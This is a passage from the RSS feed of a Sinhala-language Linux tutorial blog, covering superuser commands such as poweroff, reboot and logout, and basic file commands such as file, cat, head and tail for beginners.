&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;:~# poweroff&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt; හෝ &lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;:~$ sudo poweroff&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;i&gt;&lt;b&gt;පද්ධතිය නැවත පණ ගැන්වීම. re-boot the system.&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;color: white;&quot;&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;:~# reboot&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt; හෝ &lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;:~$ sudo reboot&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&amp;nbsp;මීට අමතරව &lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;shutdown&lt;/span&gt;&lt;/b&gt; හා &lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;halt&lt;/span&gt;&lt;/b&gt; යන විධානයන්ද මේ සඳහා භාවිතා කල හැකිය.&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;u&gt;&lt;b&gt;පද්ධති ක්‍රියා පාලනය කිරීම.&lt;br /&gt; &lt;/b&gt;&lt;/u&gt;&lt;span style=&quot;color: black;&quot;&gt;මෙය ඉතා පුළුල් ලෙස සාකච්ඡා කල යුතු කාරණයක්. නමුත් ආරම්භයක් ලෙස ඉතා සරළ&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;ක්‍රියා කිහිපයක් ගැන පමණක් මෙතනදී සාකච්ඡා කරමු.&lt;/span&gt;&lt;/span&gt;&lt;ul&gt;
&lt;li&gt;පද්ධතිය යාවත්කාලීම කිරීම.&lt;/li&gt;
&lt;li&gt;නව මෘදුකාංග හෝ වැඩසටහන් ස්ථාපනය කිරීම හෝ ඉවත් කිරීම.&lt;/li&gt;
&lt;li&gt;සිදුකෙරෙමින් පවතින ක්‍රියාවලි නැවත් වීම හා යලි ආරම්භ කිරීම.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;h3&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;u&gt;&lt;b&gt;&amp;nbsp;සුපර් යූසර්ගෙන් ඉවත් වීම.&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;/h3&gt;
&amp;nbsp;මේ සඳහා කළ යුත්තේ &lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;exit&lt;/span&gt;&lt;/b&gt; හෝ &lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;logout&lt;/span&gt;&lt;/b&gt; යන විධාන භාවිතා කිරීමය. එවිට නැවත &lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;b&gt;#&lt;/b&gt;&lt;/span&gt; ලකුණ &lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$&lt;/span&gt;&lt;/b&gt; බවට වෙනස් වීම ඔබට දැකගන්න පුලුවන්.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNCVQYY4SPlMaY32g80cuKh1y5A7Sa7NK0sRyP99u6xVEFVr-ZSQYFmEONPmPDA5KQs6cNSP0WUtH7cdhlfaqiibhgdMu2jt-JxbBsEpncATqXDBoIhYqjXwoUn-28961KFiVc7P5b7jE/s1600/exit.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNCVQYY4SPlMaY32g80cuKh1y5A7Sa7NK0sRyP99u6xVEFVr-ZSQYFmEONPmPDA5KQs6cNSP0WUtH7cdhlfaqiibhgdMu2jt-JxbBsEpncATqXDBoIhYqjXwoUn-28961KFiVc7P5b7jE/s1600/exit.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&amp;nbsp;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlQkzFZZjvmdKtJQoJsQDPBsbK7Fva3rbFMicApBun21SMIyYqvh7DL7q5IxfV6f2AtnSzOQzPIEXpAboObICTIoYJ7_KWRrz1Psq5hLITsLYBYsOoA5W6MJP-E2-SYKpXoy55DgiNg84/s1600/logoout.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlQkzFZZjvmdKtJQoJsQDPBsbK7Fva3rbFMicApBun21SMIyYqvh7DL7q5IxfV6f2AtnSzOQzPIEXpAboObICTIoYJ7_KWRrz1Psq5hLITsLYBYsOoA5W6MJP-E2-SYKpXoy55DgiNg84/s1600/logoout.png&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlQkzFZZjvmdKtJQoJsQDPBsbK7Fva3rbFMicApBun21SMIyYqvh7DL7q5IxfV6f2AtnSzOQzPIEXpAboObICTIoYJ7_KWRrz1Psq5hLITsLYBYsOoA5W6MJP-E2-SYKpXoy55DgiNg84/s1600/logoout.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;background-color: yellow;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;ඉතා වැදගත් :&lt;/span&gt; කිසිම විටක නිකරුනේ රූට් වීමෙන් වළකින්න. ඔබ යම් කිසි කාර්‍යයක් සඳහා රූට් වුවහොත් එම කාර්‍ය්ය අවසන් වූ විගස සුපර් යූසර්ගෙන් ඉවත් වීමට වගබලා ගන්න. මෙය ඔබගේ පද්ධතියේ ආරක්ෂාව සම්බන්ධයෙන් ඉතා වැදගත් වේ. මොකද ඔබ රූට් වී තිබෙන මොහොතක කිසියම් වැඩක් සඳහා ඔබට පරිගණකය ලඟින් ඉවත් වීමට සිදු වුවහොත් එවැනි මොහොතක ඕනෑ පුද්ගලයෙකුට ඔබගේ පරිගණකයේ දත්ත ලබාගන්න, වෙනස් කරන්න වගේම විනාශ කරන්න වගේම ඔබගේ පද්ධතියේ configuration ෆයිල්ස් වෙනස් කිරීම මඟින් පද්ධතිය සම්පූර්ණයෙන්ම අකර්මන්‍යය කිරීමටද පුලුවනි. එම නිසා සුපර් යූසර් විදිහට වැඩ කිරීමේදී අවධානයෙන් වගකීමෙන් වැඩ කරන්න.&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;අද සාකච්ඡා කලේ ලිනක්ස් පද්ධතියක සුපර් යූසර් එහෙමත් නැත්තම් රූට් ගැන සහ සාමන්‍යය පරිශීලකයෙකුට කරන්න අවසර නොමැති සුපිරි පරිශීලකයාට පමණක් කරන්න පුලුවන් පද්ධති ක්‍රියා ගැන ඉතාම කෙටියෙන්ය. මේ මාතෘකාවට අදාලව ඉතා පුළුල් ලෙස සාකච්ඡා කිරීම්ට කරුණු කාරනා තිබෙන නමුත් ආධුනිකයෙකුට වැටහෙන පරිදි මෙම සීමාවෙන් මේ පිළිබඳව සාකච්ඡා කර ඇත.&lt;br /&gt;
මෙම ලිපියේ කොතැන හෝ තැනක යම් අපැහැදිලි බවක් ඇත්නම් ඒ පිළිබඳව විමසන්න මැලි නොවන්න.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;u&gt;&lt;b&gt;&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
</description><link>http://linux-sinhala.blogspot.com/2012/09/linux-learn-5.html</link><author>noreply@blogger.com (Dulanja Subodhana)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYsUgrhmg51tbYGcOlxk6_Iy9cJ1GM0WfXRORX4zOSqASIsWi_e_5OmHg0h4yc6tZGXjBM0-xSKYVuqrv9NMGUIEZX9_DsIVge8joIsHirkiQzSMXAdy12es5VL-a1XVZLEhPl4b4_G9I/s72-c/root.png" height="72" width="72"/><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-9165847937691595769.post-6922821065647015542</guid><pubDate>Mon, 24 Sep 2012 18:18:00 +0000</pubDate><atom:updated>2012-10-08T19:57:20.755+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">Basic</category><category domain="http://www.blogger.com/atom/ns#">commands</category><category domain="http://www.blogger.com/atom/ns#">Linux</category><category domain="http://www.blogger.com/atom/ns#">මූලික සංකල්ප</category><title>විධාන තවදුරටත්. - ලිනක්ස් පාඩම් මාලාව #4</title><description>පසුගිය ලිපියෙන් ලිනක්ස් විධාන කියන්නේ මොනවාද.. ඒවාගේ සාමාන්‍යය භාවිතය කුමක්ද කියන එක පිළිබඳව අපි කථා කරානේ. එම ලිපියෙන් සාකච්ඡා කල විධාන බොහෝමයක් ගොනු සමඟ ගනුදෙනු කිරීමේදී සුලභව භාවිතා වන විධාන වන අතර එම මූලික විධාන ඉගෙනගැනීම ඉදිරියේදි බොහෝ ප්‍රයෝජනවත් වේවී.&lt;br /&gt;
ඉතින් අද අපි කථා කරන්න බලාපොරොත්තු වන්නේ ගොනු කළමනාකරණය කිරීමේදී වැදගත් වන තවත් මූලික ලිනක්ස් විධන කිහිපයක් පිළිබඳවයි.&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5erDLiNXAg9TbdWoXBPVtXMtyPt_L9Z3RvMs8GRe5Kh467ODnmCBVHWGJ_jYyhac2dk2VkLPA5sG3EaB-9-ENhwRHhpJ6_B-CD_kxVwo6MJam620PnKW-nO2WhRvJEvf3qdbQlhB8eiw/s1600/grep.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;u&gt;&lt;b&gt;file&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;මේ විධානයෙන් අපිට ඕනෑම ෆයිල් එකක වර්ගය (type) බලාගන්න පුලුවන්. ඒ කියන්නේ ඒක text ෆයිල් එකක්ද, එහෙමත් නැත්තම් වෙන මොකක් හරිද කියලා අපිට බලාගන්න පුලුවන්. ටර්මිනල් එකෙන් ෆයිල්ස් එක්ක ගණුදෙනු කරද්දි ඒ ඒ ෆයිල් මොන මොන ඒවද කියලා බලගන්න ඕනේ වෙන වෙලාවල් තියෙනවා. ඒ වගේ වෙලාවට මේ විධානය ගොඩක් ප්‍රයෝජනවත් වෙනවා.&lt;br /&gt;උදාහරණයකට අපි හිතමු අපි වැඩකරන ඩිරෙක්ටරයේ තියෙන හැම ෆයිල් එකකම විස්තර බලාගන්න ඕනේ කියලා. එතකොට අපි විධාන කරන්න ඕනේ මේ විදිහට.&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;$ file *&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2IOhK8Mo909QOo9-tTKzOfDjnw_AoprmRbXJfapUcNdXMu1skWTZSBhO-nG-4dkOetWVg4sjI0QKnq_ipA7hzwZlYX4-Ir7Vm_3xcx32g2pO_8pXT8fc5jDDagdgvd7GD7atddwjrCWc/s1600/fileall.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4MLxu67aSW3jbUJlgcyjwrQRfAHp2jZwIo7luPrSY8Yg8FBceNBaQbSOVimS7k6CMJ6tN2YBWxJSi1_ZiP89yNu-2FHrEDz0R-JbniJtbhw5uWvptO4xqDLK2WdD876aQ-ceIFikIaeQ/s1600/sfile.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;141&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4MLxu67aSW3jbUJlgcyjwrQRfAHp2jZwIo7luPrSY8Yg8FBceNBaQbSOVimS7k6CMJ6tN2YBWxJSi1_ZiP89yNu-2FHrEDz0R-JbniJtbhw5uWvptO4xqDLK2WdD876aQ-ceIFikIaeQ/s320/sfile.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
මෙහෙම මේ * ලකුනෙන් කියන්නේ හැමදේම කියන එක. මේ විධානයෙන් කියවෙන්නේ මේ ඩිරෙක්ටරයේ තියෙන හැම ෆයිල් එකකම විස්තරයක් දෙන්න කියලා. &lt;br /&gt;
මෙතනදී ඩිරෙක්ටර් ඇති විට ඒවා ඩිරෙක්ටර් ලෙසටත් අනික් ෆයිල් වලට අඳාල ෆයිල් එකේ වර්ගයත් පෙන්නනවා. ලිනක්ස් වල වැඩ කරගෙන යද්දි මේක කොච්චර ප්‍රයෝජනවත්ද කියලා තේරෙයි.&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;u&gt;&lt;b&gt;cat&lt;/b&gt;&lt;/u&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;br /&gt;පරිගණකයේ අපි භාවිතා කරන සියලුම ෆයිල්ස් වර්ග දෙකකට බෙදිය හැකිය. එනම් text ෆයිල්ස් හා non-text ෆයිල්ස් ලෙස. text ෆයිල්ස් ව්ලට උදාහරණ ලෙස .txt විදිහට තියෙන ෆයිල්ස්, ජාවා, C හෝ වෙනත් ඕනෑම පරිගණක භාෂාවකින් ලියපු කේත සටහන් අඩංගු ෆයිල්ස්, පද්ධතියේ විවිධ දත්ත අඩංගු ෆයිල්ස් දැක්විය හැකි අතර, non-text හෙවත් ටෙස්ට් නොවන ෆයිල්ස් ලෙස අපි භාවිතා කරන රූප එනම් &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt; .jpg, .png, .psd,&lt;/span&gt;&lt;/span&gt; .bmp.... ආකාරයේ ෆයිල්ස්, .mp3, .avi, .wmv, .pdf ෆයිල්ස් වැනි දේ උදාහරණ ලෙස දැක්විය හැකිය.&lt;br /&gt;ටර්මිනල් එක හරහා පද්ධතිය සමඟ ගනුදෙනු කිරීමේදී ඇතැම් විට මේ ටෙක්ස්ට් ආකාරයේ ෆයිල්ස් වල අඩංගු දේවල් පරික්ෂා කිරීමට සිදුවේ. එවිට එම ෆයිල්ස් විවෘත නොකර ටර්මිනල් එකේදිම බලාගන්න පුලුවන් විධානයක් තමා මේ cat කියන්නේ. අපිට යම් කිසි ටෙක්ස්ට් ෆයිල් එකක් පරික්ෂා කරන්න ඕනේ නම් අපිට කරන්න තීයෙන්න cat file_name කියලා විධාන කරන්න විතරයි.&lt;br /&gt;ඇත්තටම මේ cat විධානය භාවිතා කරන්නේ ටෙක්ස්ට් ෆයිල්ස් බලාගන්නම විතරක් නෙවේ. මේ cat විධානය භාවිතා කරලා අපිට ටෙක්ස්ට් ෆයිල් එකක් හදා ගන්නත් පුලුවන්. අපි මේ ප්‍රයෝජන දෙක පිළිබඳවම උදාහරණ වශයෙන් කථා කරමු.&lt;/span&gt;&lt;/span&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimOcoEjQanqYVipUu34pMt2iZKtusGfbGLvW9xlsN2TsaptHnerW5-cUZND3sqFfsX8eF8cAb1VivnDIQ63KkH-qYZNgY3KWA9_d88ecwi48UwelQqD96scsmuicusJMMc-HAQDuKsH6g/s1600/cat.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1nPA3HJ4ZOQMrdl6Gi1hNDsO_-cDz4XBVZIw3Sf98M0Sa5KAl5YoElGiFT7_SPa6H_gMp0-uv3CpFMa4tsWpZGQ20nsqMtzrEW7E9-IVhLQcSH3n_G1_2MRJ19krL0VqW5j1c0Nc5ksE/s1600/catcreate.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;&lt;b&gt;&lt;i&gt;&lt;u&gt;ටෙක්ස්ට් ෆයිල් එකක් පරීක්ෂා කිරීම.&lt;/u&gt;&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;උදාහරණයකට හිතන්න මම දැන් වැඩ කරන ඩිරෙක්ටරයේ textFile කියලා ටෙක්ස්ට් ෆයිල් එකක් තියෙනවා ඒක මට පරීක්ෂා කරගන්න ඕනේ කියලා.&lt;br /&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimOcoEjQanqYVipUu34pMt2iZKtusGfbGLvW9xlsN2TsaptHnerW5-cUZND3sqFfsX8eF8cAb1VivnDIQ63KkH-qYZNgY3KWA9_d88ecwi48UwelQqD96scsmuicusJMMc-HAQDuKsH6g/s1600/cat.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;182&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimOcoEjQanqYVipUu34pMt2iZKtusGfbGLvW9xlsN2TsaptHnerW5-cUZND3sqFfsX8eF8cAb1VivnDIQ63KkH-qYZNgY3KWA9_d88ecwi48UwelQqD96scsmuicusJMMc-HAQDuKsH6g/s320/cat.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;br /&gt;මෙතන මුලින්ම ls විධානය භාවිතා කරලා වැඩ කරන ඩිරෙක්ටරයේ ලයිස්තුවක් බලා ගත්තා. ඔයාලට පේනවා ඇති එහි textFile&amp;nbsp; කියලා ෆයිල් එකක් තියෙනවා. ඒක පරික්ෂා කරන්න විධාන කරලා තියෙන්නේ මේ විදිහට.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;$ cat textFile&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;රූප සටහන බලද්දි තේරෙයි එහෙම විධාන කරාම ඒ ටෙක්ස්ට් ෆයිල් එකේ තියෙන දේවල් ටර්මිනල් එකේම පෙන්නන හැටි.&lt;br /&gt;මේ විදිහට ඕනෑම ටෙක්ස්ට් ෆයිල් එකක් ඔබට ටර්මිනල් එකේ ඉද්දිම ඒවා විවෘත නොකර පරික්ෂා කරගත හැකිය.&lt;/li&gt;
&lt;li&gt;&lt;i&gt;&lt;u&gt;&lt;b&gt;ටෙක්ස්ට් ෆයිල් එකක් නිර්මාණය කරගැනීම.&lt;/b&gt;&lt;/u&gt;&lt;/i&gt;&lt;br /&gt;විධානය භාවිතා කර අපිට ටෙක්ස්ට් ෆයිල් එකක් නිර්මාණය කරගැනීම සඳහා කළ යුත්තේ,&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;$ cat &amp;gt; test&lt;/span&gt;&lt;/span&gt;ලෙස විධාන කිරීමයි. මෙහි test යනුවෙන් දී ඇත්තේ අපි නිර්මාණය කර ගැනීමට බලාපොරොත්තු වන ෆයිල් එකේ නමය. මේ සඳහා ඔබට කැමති නමක් දෙන්න. ඉන්පසු ටර්මිනල් එකෙම ඔබට අවශ්‍යය විස්තරය ටයිප් කර ඇතුලත්(Enter) කර Ctrl සමඟ C යතුර (ctrl + c) තද කරන්න. දැන් ඔබ ඇතුලත් කල දත්ත අඩංගු ටෙක්ස්ට ෆයිල් එකක් අප ලබාදුන් නම යටතේ ටර්මිනලය වැඩ කරමින් සිටි ඩිරෙක්ටරයේ පවතී. එය ls විධානය මඟින් පරික්ෂා කල හැකි අතර එම ටෙක්ස්ට් ෆයිල් එකේ අන්තර්ගතය පරික්ෂා කිරීමට නැවත cat විධානයම භාවිතා කරන්න.&lt;br /&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1nPA3HJ4ZOQMrdl6Gi1hNDsO_-cDz4XBVZIw3Sf98M0Sa5KAl5YoElGiFT7_SPa6H_gMp0-uv3CpFMa4tsWpZGQ20nsqMtzrEW7E9-IVhLQcSH3n_G1_2MRJ19krL0VqW5j1c0Nc5ksE/s1600/catcreate.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;179&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1nPA3HJ4ZOQMrdl6Gi1hNDsO_-cDz4XBVZIw3Sf98M0Sa5KAl5YoElGiFT7_SPa6H_gMp0-uv3CpFMa4tsWpZGQ20nsqMtzrEW7E9-IVhLQcSH3n_G1_2MRJ19krL0VqW5j1c0Nc5ksE/s320/catcreate.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;&lt;span style=&quot;color: magenta;&quot;&gt;&lt;b&gt;&lt;u&gt;වැදගත්&lt;/u&gt;:&lt;/b&gt;&lt;/span&gt; &lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;මෙලෙස
 විධානය භාවිතා කර පරික්ෂා කල හැක්කේ ටෙක්ස්ට් ෆයිල්ස් පමණක් වන අතර අත්හදා
 බැලීම සඳහා ටෙක්ස්ට් නොවන ෆයිල් කිහිපයක් මෙම විධානයෙන් පරික්ෂා කර බලන්න.&lt;/li&gt;
&lt;li&gt;&amp;nbsp;cat
 යනු අංග සම්පූර්ණ text editor එකක් නොවන අතර හදීසි අවස්ථාවල note එකක් තබා
 ගැනීමට, කුඩා ප්‍රමානයේ ජාවා හෝ C වැනි පරිගණක භාෂාවක් භාවිතා කර 
වැඩසටහනක් නිර්මාණය කරගැනීමට හෝ shell script වැනි දේ නිර්මාණය කරගැනීමට 
භාවිතා කල හැකි සරළ text editor එකකි.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;u&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;u&gt;&lt;b&gt;head &amp;amp; tail&lt;/b&gt;&lt;/u&gt;&lt;span style=&quot;color: black;&quot;&gt;head සහ tail යනු පිළිවෙලින් ෆයිල් එකක මුල පේලි කිහිපය සහ අග පේලී කිහිපය බලාගන්න පුලුවන් විධාන දෙකක්. බලන්න ඕනේ පේලී ගාන අමතර විකල්ප විධානයක් වශයෙන් දෙන්නත් පුලුවන්.&lt;br /&gt;උදා:- test යන නමින් ඇති ෆයිල් එකේ,&lt;/span&gt;&lt;/span&gt;&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;මුල් පේළී 5 බැලීම සඳහා.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;$ head -5 test&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;අග පේළී 10 බැලීම සඳහා.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;span style=&quot;background-color: black;&quot;&gt;$ tail -10 test&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #cfe2f3;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;-f යන විකල්ප විධානය භාවිතා කල විට නිරන්තරයෙන් වෙනස් වන ෆයිල් එකක අවසාන පේළී කිහිපය මෙම විධානය මඟින් පරික්ෂා කල හැකිය. ගොනු ආකෘතිය ගැන සාකච්ඡා කල &lt;a href=&quot;http://linux-sinhala.blogspot.com/2012/09/learn-linux-2.html&quot; target=&quot;_blank&quot;&gt;ලිපියේ&lt;/a&gt; සඳහන් වූ var ඩිරෙක්ටරයේ ඇති නිරන්තරයෙන් වෙනස් වන විචල්‍ය හෙවත් variable ෆයිල්ස් වල අවසාන පේළී කිහිපය මෙම විධානය මඟින් පහසුවෙන් පරීක්ෂා කල හැකිය. මෙවැනි යෙදුම් ඉදිරියේදී අවශ්‍යය වේවී.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #cfe2f3;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;background-color: #cfe2f3;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;උදා:- &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt;$ tail -f /var/log/messages&lt;span style=&quot;color: black;&quot;&gt; විධානය මඟින් var ගොනුවේ log උප ගොනුව තුල ඇති messages නම් variable file එකේ නවතම දත්ත පරීක්ෂා කල හැකිය. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
